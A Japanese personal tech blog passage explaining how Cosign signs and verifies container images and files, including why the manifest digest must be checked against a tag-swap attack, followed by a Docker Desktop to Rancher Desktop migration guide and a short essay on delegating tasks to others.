これで署名完了です。PGP等での署名に比べると複雑なオプションが隠されかなり簡素化されています。これだったらあまり詳しくない人でもとりあえず cosign sign 打っておこうとなって普及するかもしれません。

ただ1行目はプロバイダをしていないことでエラーが出ています。ファイルの秘密鍵を指定するのは一般的な方法なはずですが最初失敗したのかと勘違いしました。また、上の出力では “Pushing” 以降は自分が改行しましたが実際には Enter password for private key: の行に表示されるので最初ログ出力を見落としました。Cosignは先日1.0.0に到達したもののRekorやFulcioもまだunstableですし、こういう細かいユーザインタフェースを一つとってもまだ発展途上なプロジェクトという感じがします。

などとブログで文句を言うだけの人間になりかけたのでPRを出しました。一歩間違うと老害になるので日々恐怖と戦っています。

検証

検証時には公開鍵とコンテナイメージ名を指定するだけです。

$ cosign verify --key cosign.pub knqyf263/cosign-test                                                                                  [~/src/github.com/sigstore/cosign]

Verification for index.docker.io/knqyf263/cosign-test:latest --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
  - Any certificates were verified against the Fulcio roots.

[{"critical":{"identity":{"docker-reference":"index.docker.io/knqyf263/cosign-test"},"image":{"docker-manifest-digest":"sha256:2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f"},"type":"cosign container image signature"},"optional":null}]

これで終わり、と言いたいところですが実はこれでは不十分です。表示されているJSON内の critical.image.docker-manifest-digest の値と自分の手元にあるコンテナイメージのdigestを比較する必要があります。あくまで表示されているJSONの署名が正しい、つまりJSONの完全性と真正性を証明しただけで、今使おうとしているコンテナイメージについては何も証明できていません。この辺りは署名の保存方法に大きく関係するため、後述します。自分は最初その辺りでかなり混乱しました。

Blobs

コンテナイメージの署名方法を説明したのでBlobsについて説明します。こちらはコンテナイメージ以外全般という感じで、いわゆる一般的な署名です。テキストファイルやバイナリファイルに対して署名ができます。

鍵ペアの生成

これはコンテナイメージの手順と同じなので省略します。

署名

先程の sign コマンドとは別に sign-blob コマンドが用意されています。適当にファイルを作って署名してみます。先程と同様に秘密鍵とファイル名を指定します。また、署名はデフォルトだと標準出力に出されるので --output コマンドでファイルに書き出します。

$ echo hello > hello.txt
cosign sign-blob --key cosign.key --output hello.txt.sig hello.txt                                                                   [~/src/github.com/sigstore/cosign]
WARNING: the '--output' flag is deprecated and will be removed in the future. Use '--output-signature'
Using payload from: hello.txt
an error occurred: no provider found for that key reference, will try to load key from disk...
Enter password for private key:
Signature wrote in the file hello.txt.sig

これで完了です。先程とは異なり、公開鍵に加え署名も何かしらの方法で配布する必要があります。

検証

検証時には何かしらの方法で手に入れた公開鍵と署名を使います。Blob用には verify-blob コマンドが用意されているのでそちらを実行すると Verified OK と表示されます。

$ cosign verify-blob --key cosign.pub --signature hello.txt.sig hello.txt
Verified OK

コンテナイメージの場合と異なり hello.txtハッシュ値を取って署名と比較する部分までCosignが行ってくれるため、これで検証は完了です。当たり前ですが改ざんすると検証は失敗します。

$ echo hello >> hello.txt
$ cosign verify-blob --key cosign.pub --signature hello.txt.sig hello.txt
Error: verifying blob [hello.txt]: failed to verify signature
main.go:46: error during command execution: verifying blob [hello.txt]: failed to verify signature

署名の仕組み

使い方だけ知りたいという人もいるかも知れないので詳細は分けましたが、本題はこちらです。使い方はドキュメントを読めばすぐ分かる話ですし変わる可能性もあります。ただ仕組みは一度理解しておくと応用が効くと思うので細かめに書いておきます。

コンテナイメージ

OCI Registryについて

上でも書きましたがOCI Distribution Specificationを活用しています。コンテナイメージのpushやpullの時に何が行われているのかを知っている人は問題ありません。もし全く知らないという人は以下のブログに目を通してみてください。こちらはDocker Registry HTTP API V2なのでOCIではないのですが、OCIはDockerを基に作られているので似たようなものと思って良いです。

knqyf263.hatenablog.com

一応軽く説明しておくと、OCIレジストリに保存できるものをOCI Artifactsと呼びますが(コンテナイメージはArtifactの一種)、これは

  • Manifest
  • Config
  • Blob

の3つで構成されています。manifest内にconfigとblobへの参照(SHA256のダイジェスト)が含まれています。このblobはいわゆるレイヤーなのでそのArtifactの実体です。blobにはmedia typeが指定でき、以前はコンテナのレイヤーしか受け付けていませんでしたが、OCIレジストリではコンテナイメージ以外でも受け入れられるようになりました。本当に何でも置けるので最近はただのクラウドストレージとして利用されている感があります。例えばHomebrewで brew installするとGitHub Packages Container registryからビルド済みのファイルだったりをダウンロードします。

とにかくmanifestを最初に取ってきて、その中に書かれている実体などをその後に取得するんだなという理解で今回は問題ないと思います。言葉で説明されてもわからないと思うので google/go-containerregistry で提供されている craneコマンドを使ってマニフェストを見てみます。

$ crane manifest knqyf263/cosign-test | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 587,
    "digest": "sha256:b3430291e4c4c0c296c11ece55a597f52d06820f04ce48327158f978ef361056"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 122,
      "digest": "sha256:7eb443b114bf9f19adff19ab6e15b3715fb6b1d06ad3ad0b4bc945fac80a7eda"
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 131,
      "digest": "sha256:a31e0a5a52ef3648969a3bdb9b06d45811c7cb1132d0bf047be701a1ec5a7eaf"
    }
  ]
}

knqyf263/cosign-test というコンテナイメージのmanifestを取得しました。タグは省略したので latest です。layersの下に2つオブジェクトがあるように、このイメージは2つのレイヤーで構成されていることがわかります。あとはlayers.digestに従ってblobを取得することでコンテナイメージの本体が手に入ります。OCI Image Manifestについて詳しくは以下を参照してみてください。

github.com

ところが実際には最近はマルチプラットフォーム対応のためにOCI Image Indexが使われており公式イメージなどに対して上のコマンドを打っても異なるフォーマットのJSONが返ってくると思います。そのへんについて説明し始めると永遠に署名にたどり着けないですし本題と関係ないのでスルーします。一応仕様だけ貼っておきます。

github.com

署名の保存先

さて本題に戻ると、OCIレジストリ上にあるコンテナイメージに署名し、それをさらにOCI Artifactとしてレジストリにpushしてしまおうというのがsigstoreのコンテナイメージ署名の裏側です。そのpush先の決め方ですが、仮に gcr.io/dlorenc-vmtest2/demo:latestが指定された場合は以下のようになります。

  1. latest というタグを sha256:97fc222cee7991b5b061d4d4afdb5f3428fcb0c9054e1690313786befa1e4e36 というダイジェストに変換する
  2. :- に置換し、suffixに .sig をつける
  3. 2で生成した文字列をタグ名として扱い、元のリポジトリと合わせて gcr.io/dlorenc-vmtest2/demo:sha256-97fc222cee7991b5b061d4d4afdb5f3428fcb0c9054e1690313786befa1e4e36.sig にする

3は別レジストリやレポジトリも指定できるようですが、一旦は同一リポジトリ想定で良いと思います。詳細は以下です。

github.com

1の変換方法ですが、これはmanifestを取得してそのダイジェストを使っています。実際にはHTTPのレスポンスヘッダに値が埋め込まれるので自分で計算しなくても良いですが、とにかくmanifestの内容をハッシュ計算に利用しています。

署名フォーマット

では先程署名した knqyf263/cosign-test:latest を見てみます。まずmanifestのハッシュ値を計算します。

$ crane manifest knqyf263/cosign-test | sha256sum
2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f  -

上のルールに則れば sha256-2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f.sig がタグ名になるはずです。つまりイメージ名は knqyf263/cosign-test:sha256-2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f.sig になります。このマニフェストを取得してみます。

$ crane manifest knqyf263/cosign-test:sha256-2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f.sig | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "size": 233,
    "digest": "sha256:4d79105ee210d241894b218aa44829bdcdf9bfbca105aa337039586828cfa239"
  },
  "layers": [
    {
      "mediaType": "application/vnd.dev.cosign.simplesigning.v1+json",
      "size": 252,
      "digest": "sha256:41eeee6c4ffaca4045c86b368150c089c75144fc248bf2ea94ffb414f322438f",
      "annotations": {
        "dev.cosignproject.cosign/signature": "MEQCIH/1onF2jIZ0X+CHMQdPGYn3hcdykevfPdNKIQTZvs9nAiAS2OygqY+nxfytHi1AMrG1lCy5zI57FgzNLQti/fYxfw=="
      }
    }
  ]
}

確かに取得できました。ちなみに今は手動で署名のタグを生成しましたが、Cosignには triangulate というサブコマンドがあり署名の保存先を教えてくれます。triangulateっていうコマンドおしゃれすぎない?

$ cosign triangulate knqyf263/cosign-test
index.docker.io/knqyf263/cosign-test:sha256-2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f.sig

もちろんこんなイメージをpushした覚えはないのでCosignが勝手にpushしたということになります。layers.annotationsの下にsignatureが置かれているのが見えると思います。これが署名の実体です。

では何に対して署名しているのか?と疑問に思うかもしれません。今まで見てきたようにOCI Registry上にあるコンテナイメージというのは仮想的な概念です。manifest, config, blobで構成されるものをイメージと呼んでいるだけで、上の hello.txt のように署名可能なファイルシステム上のオブジェクトは存在しません。そこで、代わりにmanifestに対して署名しているというわけです。manifestの中にあるblobなども全てdigestで参照されているため、その値を改ざんするとmanifestのdigestも変わってしまいます。つまりmanifestのdigestというのはイメージ全体のdigestのように見立てることが出来るというのがポイントです。

このmanifestのdigestに対して署名をすれば終わりなわけですが、メタデータが欲しい場合もあるかもしれないということで、Red Hatにより提案されていたSimple Signingが採用されました。

www.redhat.com

manifestのdigestに加え複数のフィールドを持てるJSONとなっており(signature claimと呼ばれている)、以下のようなフォーマットになっています。

{
    "critical": {
           "identity": {
               "docker-reference": "testing/manifest"
           },
           "image": {
               "Docker-manifest-digest": "sha256:20be...fe55"
           },
           "type": "atomic container signature"
    },
    "optional": {
           "creator": "atomic",
           "timestamp": 1458239713
    }
}

optionalフィールドがあるため、自分で好きな値を署名に入れ込むことも可能です。ちなみに自分は critical とかいまいちピンときませんでしたしSimple Signingちょっと微妙なフォーマットだなと思ったのですが、sigstoreの創業メンバーでChainguard CEOのDanさんもクセがあって好きじゃないと言っていて笑いました。

blog.sigstore.dev

とはいえ必要なフィールドが全て定義されているので、とりあえずこれで行こうとなったようです。最近は何でも独自フォーマットを定義する人達に苦しめられているので、既存の資産を活用する姿勢は好きです(脱線)。

さて、ではこのsignature claimはどこにあるのかというとblobの中にあります。上記manifest内のblob digestを使って取り出してみます

$ crane blob knqyf263/cosign-test@sha256:41eeee6c4ffaca4045c86b368150c089c75144fc248bf2ea94ffb414f322438f | jq .
{
  "critical": {
    "identity": {
      "docker-reference": "index.docker.io/knqyf263/cosign-test"
    },
    "image": {
      "docker-manifest-digest": "sha256:2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f"
    },
    "type": "cosign container image signature"
  },
  "optional": null
}

確かにsignature claimのJSONが取り出せました。

署名検証

あとはこのJSONのdigestとmanifest内の dev.cosignproject.cosign/signature を使って署名検証すればOKです。ここはCosignが勝手にやってくれるところですが、今回は自分で試したいのでopensslコマンドを使います。まずはsignatureを取り出し、Base64デコードします。

$ crane manifest knqyf263/cosign-test:sha256-2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f.sig | jq -r '.layers[0].annotations."dev.cosignproject.cosign/signature"' | base64 -d > knqyf263-cosign-test.sig

上のsignature claimをファイルに書き出します。

$ crane blob knqyf263/cosign-test@sha256:41eeee6c4ffaca4045c86b368150c089c75144fc248bf2ea94ffb414f322438f > knqyf263-cosign-test.json

では公開鍵を使って署名検証を行います。

$ openssl dgst -sha256 -verify cosign.pub -signature knqyf263-cosign-test.sig knqyf263-cosign-test.json
Verified OK

ということでこのJSONは改ざんされていないことが証明できました。かつ公開鍵を配布していた人が生成したことも証明できます。しかしここで重要なのは、このJSONが正しいのであって自分の使いたいイメージが改ざんされていないかどうかは何も証明していないという点です。

署名と公開鍵を使って検証を行ったので何か終わった気になりますが、実際には違います。署名が二段階になっているのでややこしいです。つまり、図にすると以下のようになっています。

f:id:knqyf263:20220206210500p:plain

  1. OCI Image Manifestのハッシュ値をSHA256で計算する
  2. 1で得られたダイジェストをSimple Signingで定義されたJSONに埋め込む
  3. 2で得られたJSONハッシュ値をSHA256で計算する
  4. 3で得られたダイジェストを秘密鍵で暗号化する

あとは得られたSignature Claimをblobとしてpushしたり、manifest内のdev.cosignproject.cosign/signature に4で得た署名を入れてmanifestをpushしたりします。自分の理解が正しければ、本来のSimple Signingだと直接JSONを暗号化していたはずなので3のSHA256の部分はなかったはずで、sigstoreでの使い方は少し異なる気がします。勘違いだったらすみません。

ここまでの説明で署名がどう行われているか理解できたはずなのでようやく cosign verify に戻ります。 cosign verify が検証で行っていることを図にすると以下です。

f:id:knqyf263:20220206210629p:plain

上の署名の図と比較すれば分かりますが、一番比較したいはずのOCI Image Manifestのdigestとの比較はありません。つまり cosign verify しただけでは終わりではなく、以下のステップが必要になります。

f:id:knqyf263:20220206210659p:plain

自分が使おうとしているイメージのdigestを取得して、その値がSignature Claim内の docker-manifest-digest と比較することで初めてそのイメージの検証が終わったと言えます。cosign verify-blob では Verified OK と表示していたのに cosign verify ではそういった表示がなくただSignature ClaimのJSONが表示されるのはこういう理由だと理解しています。

検証が不十分な例

実際、sigstoreのブログで以下のように書かれています。

But, all we’ve really verified is that a random object we found somewhere was signed. We didn’t prove any relation at all to the image we tried to verify!. Tags are mutable and our naming scheme itself is not secure. We need to inspect the payload we took such care to create earlier.

The value here MUST match the value of the digest of the image we fetched at the start of this process. Once that check is complete, we can now prove that the signature payload was “attached” by reference to the original container image that was signed.

Cosign Image Signatures

CosignのREADMEにも書かれています。

Note that these signed payloads include the digest of the container image, which is how we can be sure these "detached" signatures cover the correct image.

https://github.com/sigstore/cosign/blob/6ed068a7d8dd846661b401004db85fbb743e6db5/README.md?plain=1#L89-L90

以下の部分に着目してどのようなケースで問題になるかを説明します。

Tags are mutable and our naming scheme itself is not secure.

まず、タグというのはただのaliasなのでタグが示す実体というのは変わり得ます。 latest が分かりやすい例だと思います。通常のタグ運用では、新たなイメージがpushされるたびに latest が指すものは変わっていきます。そこで以下のような例を考えます。

f:id:knqyf263:20220206210947p:plain

  1. 攻撃者が knqyf263:cosign-test:latest として悪意あるイメージをpush
  2. ユーザは気付かずにそのイメージを手元にpull( sha256:deadbe
  3. その後CIなどの正規のフローによってlatestが更新される( sha256:2da119
  4. cosign verify を実行するが、新しい方の latest を検証するため検証は成功する

ここで cosign verifyリポジトリ上のイメージを見てその署名を検証するというところが重要です。手元にある不正な sha256:deadbe については関知しません。つまり、単に knqyf263/cosign-test:latest が指している sha256:2da119 が改ざんされていない正規のイメージであることを証明しただけで、実質無意味な状態で終わっているのです。手元にある自分のイメージが sha256:2da119 であることを検証して初めて完了になります。

訂正:もう一つの例を紹介していたのですが、自分の検証が間違っており実際にはきちんと検知されたため削除しました。@lmt_swallow さんありがとうございます。 https://twitter.com/lmt_swallow/status/1490326991840497667

上の例では手元には sha256:deadbe があり、今検証に成功したのは sha256:2da119 なのでそれらのdigestを比較すれば本来検知できるものです。図で言うと以下の赤のバツの部分です。

f:id:knqyf263:20220206211242p:plain

しかし cosign verify で検証が終わったと勘違いしてしまうとこのような攻撃は検証をすり抜けてしまいます。

つまり署名の保存方法をきちんと理解しておかないと署名検証を正しく完了できない可能性があります。実際Cosignの入門的なブログを見てもほぼ全てが cosign verify を打って終わりとなっています。

再度になりますが、 cosign verify はあくまでレジストリ上にある knqyf263/cosign-test:latest の署名を見て上のSignature ClaimのJSONの真正性と完全性を証明したのであって、それは自分の検証したいコンテナイメージとは何も関係がありません。上のREADMEで"detached"な署名と書かれているのはそういう理由です。手元のイメージが上のdocker-manifest-digestと一致する、またはまだpullしていないのであればタグではなくdigestを指定してpullするなどの操作が必要になります。

$ docker pull knqyf263/cosign-test@sha256:2da1196c0ebeed6ce7f462fe34e99f786d68c332701e428e98cec53fce29fe7f

それを経て初めて上の署名が自分の使いたいコンテナイメージのものであるということが証明できます。手元のdigestを確認するにはRepoDigestを見るぐらいしか自分は思いつかなかったのですが(Image IDはmanifestではなくconfigのdigest)、この辺り説明しているドキュメントが見つからずこんな方法で良いのか不安です。

$ docker inspect knqyf263/cosign-test | jq '.[0].RepoDigests'

この最後のdigest検証部分がほとんどの第三者による入門ブログには記載されておらず、sigstoreのメンバーしか理解していないのではないかと不安になっています。またはSignature Claimの完全性を証明しただけなんだから実際使うコンテナイメージとの紐付けを確認するのは常識過ぎて誰も触れていないのか、あるいは自分の理解が間違っていてそんなことは一切不要で cosign verify で完結しているかのいずれかでしょう。もし1つ目だとするとほとんどの人がうまく検証できていないことになりますし、不安で仕方ないので有識者の意見を歓迎します。

GitHubのブログでもThat’s pretty coolで終わっていそうな雰囲気で不安です。ただ上のSignature Claim内のoptionalなフィールドにgit refを入れる方法は紹介しているので、そっちで確認してねということでしょうか。何れにせよサプライチェーン攻撃の自動検知の方法は紹介されておらず、後追いで監査する方法に留まっているように見えます。

ただこの辺まで含めてCosignで自動検証することは可能だと思うので、今後改善されていくのかもしれません。

Blobs

テキストファイルやバイナリファイルの署名についても一応書こうかと思いましたが、上のコンテナイメージの署名フローのSignature Claimを省略しただけですし、そもそもただの一般的な署名なので説明は省きます。コンテナイメージ署名の説明で疲れました。

参考

まとめ

ソフトウェア署名は人類には難しすぎて何十年もの間放置されてきましたが、近年のサプライチェーンセキュリティ問題の深刻化によりここ数年で一気に動き始めたように見えます。

f:id:knqyf263:20220206212543p:plain

Docker DesktopからRancher Desktopに乗り換えてみた

この記事はPRを含みます。

概要

Rancher Desktopがcontainerdに加えdockerにも対応したのでDocker Desktopから乗り換えてみました。簡単な用途だとdockerコマンドがそのまま使えるので特に困っていません。

背景

2021年9月にDocker Desktopが有料化されました。移行期間として2022年1月31まで引き続き無料で利用できましたが、それもついに終了しました。

www.docker.com

ただし、個人利用もしくはスモールビジネス(従業員数250人未満かつ年間売上高1000万ドル未満)、教育機関、非商用のオープンソースプロジェクトでは引き続き無料で利用できるという条件でした。non-commercial open source projectsの定義を自分は見つけられず、仕事としてOSSをやっている自分は該当するのかどうか微妙なところでしたが、恐らく該当するだろうしお金を払って利用を続ける予定でした。

乗り換え先としてLimaなど候補はいくつかあり、その1つにRancher Desktopがあります(Limaも内部で使われています)。最近1.0.0に到達しました。

japan.zdnet.com

実は自分の用途ではRancher Desktopで良さそうというのが本記事の内容です。こちらはKubernetesを簡単に使うためのツールなのですが、コンテナランタイムも同梱されておりcontainerdが使えます。K3sなどについては別の記事を参照してください。containerdを操作するためのCLIとしてnerdctlも同梱されており、dockerコマンドと同様に使えます。また、WindowsやM1 Macにも対応しています(追記:M1だとうまくインストールできなかったという声を頂きました)。後述しますが、Kubernetesが不要な場合は削除したりも出来ます。

多くの人にとってはnerdctlを使ってdockerと同じように操作できれば事足りると思うのですが、dockerdと直接通信するOSSを開発している自分にとってはdockerdそのものが必要だったため移行は難しい状態でした。もちろんVM使ったりで回避する方法もあるのですが、毎日使うものなので手軽に使いたいですし「Rancher Desktopの中身はcontainerdだから自分は移行できないわ〜」などと社内でも言っていました。ところが先日久しぶりにリリースノートを見たらdockerdに対応していることに気付きました。

自分が最後に確認したのは2021年11月末だったのでたった1, 2ヶ月ぐらいで変わらないだろうと油断していました。男子三日会わざれば、刮目して見よ というやつで2ヶ月も前の知識を吹聴していた事を反省しています。Rancher Desktopの公式ページから引用したのが以下の図になります。

f:id:knqyf263:20220201215033p:plain

containerdとdockerdを簡単に切り替えられ、それらランタイムとnerdctl, Docker CLIで通信できますし、Kubernetesクラスタも起動するのでkubectl, helmコマンドも使えます。自分の作っているOSSはcontainerdとの通信も行う必要があるためdockerdとcontainerd両方気軽に使えるのは願ったり叶ったりです。

移行

自分はmacOSを使っているので、macOSの場合の移行方法を書いておきます。

Docker Desktopのアンインストール

以下のFAQにありますが、Rancher Desktopでdockerdを使う場合はソケットが重複してしまうためDocker Desktopと一緒には使えません。どちらか一方のみが起動している必要があります。

docs.rancherdesktop.io

Docker Desktopを終了すれば良いのですが、自分の場合は最近Docker Desktopを起動すると即座にクラッシュする問題が起きていたので一旦アンインストールします。以下に書いてあるとおり "Troubleshoot" => "Uninstall" で簡単にアンインストールできます。

docs.docker.com

こんな感じです。

f:id:knqyf263:20220201214145p:plain

Rancher Desktopのインストール

以下から自分の環境にあったインストーラをダウンロードします。MacならHomebrewでもインストール可能なのですが、FAQにHelm, kubectl, nerdctl, dockerなどのコマンドが既にbrewでインストールされているとエラーになると書いてあったのでdmgで入れました。

rancherdesktop.io

最初にKubernetesのバージョンやコンテナランタイムが聞かれます。自分は適当に最新バージョンでdockerdを選択しました。

f:id:knqyf263:20220201220235p:plain

起動すると以下のような画面になります。初回はイメージのダウンロードなどがあるため時間がかかります。ここで一つ気づいたのですがProject Statusがbetaですね。v1.0.0なのでstableなのかと思っていました。まだ安定してないのかもしれず注意が必要かもしれません。

f:id:knqyf263:20220201220658p:plain

この時点で自動的にnerdctlやdockerコマンドもインストールされています。contextも設定されてKubernetesクラスタも利用できる状態になっています。

$ kubectl get nodes
NAME                   STATUS   ROLES                  AGE   VERSION
lima-rancher-desktop   Ready    control-plane,master   13m   v1.22.6+k3s1

CPUやメモリの設定、コンテナランタイムの変更などはGUIKubernetes Settingsから可能です。

f:id:knqyf263:20220201222258p:plain

適当にdockerコマンドを使ってイメージをpullしてみます。

$ docker pull alpine:3.11
3.11: Pulling from library/alpine
79e9f2f55bf5: Pull complete
Digest: sha256:bcae378eacedab83da66079d9366c8f5df542d7ed9ab23bf487e3e1a8481375d
Status: Downloaded newer image for alpine:3.11
docker.io/library/alpine:3.11

全く問題なく動きます。一応runもしてみます。

$ docker run --rm -it alpine:3.11 sh
/ # cat /etc/alpine-release
3.11.13

"Images"を開くと alpine:3.11 が確かにpullされています。拍子抜けするほど簡単に移行できました。

Kubernetesクラスタの無効化

Kubernetesクラスタは日常的には使わないので無効化する方法を調べました。FAQを見るとどうやら自分でノードを削除する方法しかないようです。

$ kubectl config use-context rancher-desktop
$ kubectl delete node lima-rancher-desktop

必要になったら上の画像にもありますが"Reset Kubernetes"とすれば戻ります。クラスタがぐちゃぐちゃになってもすぐ戻せて便利。Kubernetesクラスタの無効化はIssueにもありますし近い将来GUIから出来るようになるんじゃないでしょうか。

github.com

追記:v1.1.0から無効化出来るようになりました。

github.com

"Enable Kubernetes"のチェックを外せば良いようです。v1.0.0の時は割と不安定で辛いところがあったのですが、Kubernetesを無効にしてから安定してきた気がします。

f:id:knqyf263:20220306175629p:plain

宣伝

実はこの記事はRancher Desktopへの移行方法と見せかけた巧妙なPR記事です。というのは嘘で普通にRancher Desktop便利だったので紹介したのですが、自分の開発しているTrivyというOSSが内部で使われているので少し宣伝しておきます。あとSUSE/Rancherの人達はちょくちょくPR送ってきてくれるのでシンプルに好きです。

"Images"でイメージ一覧が見られるのですが、イメージの横のボタンを押すとScanという項目があります。

f:id:knqyf263:20220201223423p:plain

このボタンを押すとそのイメージの脆弱性がスキャンされ、結果が一覧で表示されます。インタラクティブにフィルタも出来ます。

f:id:knqyf263:20220201223549p:plain

こういう縁もあってSUSEの開発者の皆様とは仲良くさせていただいています。

SUSEの方も宣伝してくれたりします。お互いのOSSを利用し合って貢献し合ったら最高だなということで、自分にとってはDocker Desktopから乗り換える別のモチベーションにもなりました。何かバグ見つけたらPRとか送ろうと思います。

ちなみに読み方はスーサらしいので気をつけてください。

www.youtube.com

まとめ

SUSE及びRancherへの愛からこの記事を書いたのですが、実際Rancher Desktopへの移行は非常に簡単でした。ただRancher Desktop歴5分でこの記事を書いているので何かまた問題が見つかるかもしれません。

自分でやるべき(ように思える)ことを得意な誰かに任せるという考え方

完全なるポエムです。自分にとって斬新な考え方だったので思わず勢いで書いていますが、知っている人からすると当たり前ですし、冷静に読み返すとだから何だよという内容に仕上がっています。読んだあとにだから何だよと言われても責任は取れません。

はじめに

以前、苦手分野を思い切って捨てて得意分野に集中してみるという話を書かせていただきました。 engineer-lab.findy-code.io

今回も通ずるところはあるのですが、一歩踏み込んで自分の気の進まないことはいっそ得意な誰かに任せようという話です。一歩引いた視点で見れば上のブログの話も結局誰かが自分の穴を埋めてくれているので同じに見えると思うのですが、自分の気の持ちようとしては大きく異なるので書いています。つまり、これ苦手だけど一生懸命やってるので許してくれ〜〜という考えなのか、苦手だし誰かにお願いしちゃおう!!という考えなのかの違いです。

また似たようなブログ書いてこいつ嫌なことからしょっちゅう逃げてんなと思われそうですが、弱点の多い人間なので仕方ないです。今回の記事も上記の記事同様、あくまで自分には適した考え方であって「誰かに任せるべきではない、自分で克服するべきだ」という考えも否定はしませんので、そう思われる方はそっと閉じてください。

全て自分で何とかしなければならないという固定観念を持っていて、自分がやるべき(ように思える)ことを他人に任せるという発想があまりなかった人にとっては少し面白い話かもしれません。

一方で役割分担しなければスケールしないんだからチームを作る上ではそんなこと当たり前と思う方もいそうですが、今回話したいのは "自分でやるのが当たり前と思われていること" でも他人に任せられるかもしれないという点です。例えばソフトウェアエンジニア(以下エンジニア)はブログを書いたり対外発表したりというアウトプットが求められることがあるわけですが、それらも自分でやる必要はないかもしれないというのが記事の趣旨です。もちろんアウトプットに限った話ではないです。

あと上のブログとのもう一つの違いは、 "苦手ではないけどあまり乗り気ではないこと" も他人に任せられるものに含む点です。自分にとっての社外発表はそんな感じです。声をかけてもらえば喜んでするけれど自ら積極的にはしないという位置付けです。

とある方の話

4年ほど前に千葉方面で学生のサイバーセキュリティ(以下セキュリティ)に関するレポートを審査する機会を頂きました。セキュリティ上の問題を指摘するレポートだったわけですが、主催者からは指摘内容だけでなくレポートの構成なども評価して欲しいと事前に言われていたため、最後の学生の前でのフィードバックの時に「レポートはもっと読み手に伝わるように〜」とか「レポートを書くまでが仕事なので〜」などとコメントをしました。

そうしたら別の審査員の方が「他人が見つけられないセキュリティの問題を見つけられるようになれば、レポートなんか誰か別の人が書いてくれるようになる」と言い放ちました。この時、「うんうん。そうだぞ〜」みたいな顔をしてましたが、レポートは自分で書いて当たり前と思っていた自分にとって衝撃的だったのをよく覚えています。主催者の意向完全無視のコメント!!と思う一方で、かっこよすぎるなと思いました。それが良いことかは別として若者に違った視点を与えられる大人になりたいものです。ちなみに審査員全員がそんな事言いだすとカオスになるので常識的なことを言う人も必要です。

それから4年以上経って、なるほどこういうことかと感じることが増えてきたので事例を書いておきます。自分が成長したからというよりは海外の企業で働いているからというのが大きそうですが、この考え方を持っておくといつか組織で裁量を与えられた時に役立つかもしれません。自分にはそもそもこの発想がなかったので、知らずに選べないのと選択肢として知っているのに選ばないのでは大きく異なるかなと思います。

他人に任せる

以前、以下の記事の中で ”得意な形でアウトプットできる” というのをOSSエンジニアの利点として挙げた一方で、やはりある程度 ”宣伝は必要” という部分にも触れました。

knqyf263.hatenablog.com

この時は登壇などは乗り気じゃなくてもOSSとしてソースコードをアウトプットしておけばそれ以外の社外活動はある程度で良いという考えだったのですが、ここ1年でさらに一歩進んで社外活動は誰かがやってくれれば良いという考え方に変わりました。

記事執筆

InfoWorldという有名な技術系の海外メディアがあるのですが、こちらに記事を書かせていただきました。

www.infoworld.com

書いた、と言いましたが実は自分は一文字も書いていません。記者の方からの取材があったのですが自分はほんの少し話しただけで(英語分からない問題)大体マネージャが答えてましたし、それを文字起こししたあとのレビューも弊社マーケティングチームの人がほとんどやってくれました。

いくつか間違いがあったので自分も最終チェックは参加してそのあたりの指摘は丁寧にやりましたが、自分が0から英語で書く時間に比べたら圧倒的に短時間で済みました。プロモーション関連の仕事はマーケティングチームの仕事であり、開発者が時間を割くべきではないという意識を強く感じました。

社外発表

自分の所属しているOSSチームにDeveloper Advocateの方が入ることになりました。Googleなどだとかなり昔からあるようです。

blog.agektmr.com

テクニカルエバンジェリストと基本的に同じだと思いますが、上のブログだと微妙に異なる意味もあるようです。自分の聞いた話では、エバンジェリストは宗教観の強い言葉なので避ける企業が増えてきたとのことでした。

そんな昔からある概念に対してお前は何を今更驚いているんだと思われるかもしれませんが、自分にとってAdvocateというのはもっと大きい単位の啓蒙活動だと思っていたからです。例えば上の例でGoogle Chromeなどは開発者が凄い数いるはずで、一人ひとりが発表するよりはまとめ役として伝道師が必要になるのは理解できますし、サイボウズで見つけたDeveloper Advocateの募集もkintoneという自社製品の技術的な情報発信という位置付けでした。

cybozu.co.jp

一方で弊社はベンチャーなので人数も少ないですし、OSSチームなのでそこまでリソースも投入できません。開発しているOSSも複数あるため1人で複数プロジェクト見るみたいな状況です。一方でOSSは宣伝効果も期待して投資しているわけなので社外発表も必要です。ですが正直うちのチームメンバーはそこまで発表に乗り気ではなく後回しになりがちでした。「困った。どうする?」となった時に普通は「頑張って各人の発表を増やしましょう」となると思うのですが、そうはならずに「じゃあ専属の人を雇いましょう」となりました。

Google等の例と規模が違うだけで同じと言ってしまえば多分そうなのですが、自分がほぼ個人で開発しているものの成果発表を他人に任せられるというのはやはり自分にはない考えで衝撃的でした。上のツイートにもぶら下げたようにどちらが良いとは言えませんが、選択肢として頭の片隅に置いておくと良いなと思いました。

今の会社に日本人は自分一人なので日本語発表は強制的に自分になりますが、日本語での発表はそんなに辛くないのでやはり負担は大きく軽減されます。

社内発表

以前どこかで書いた気がするのですが、本記事の内容に合っているので改めて書いておきます。入社直後のある日、社内に向けた資料を作成するタスクが発生したので当然のように自分でやっていました。そうしたらマーケティングチームの人に「何でお前がパワポを作ってるんだ。お前の仕事はプログラムを書くことだ。パワポ作成は得意な自分たちがやる。」と言われました。自分の常識から大きく外れる内容だったことと英語だったこともあって意味が分からず何度も聞き返したのですが、ようやく理解したあとは大変驚きました。

先日日立のジョブ型雇用が話題になっていましたが、職務内容での雇用が徹底されているため専門じゃないことに時間を割くのは会社の損失という考え方なのだと思います。

www.nikkei.com

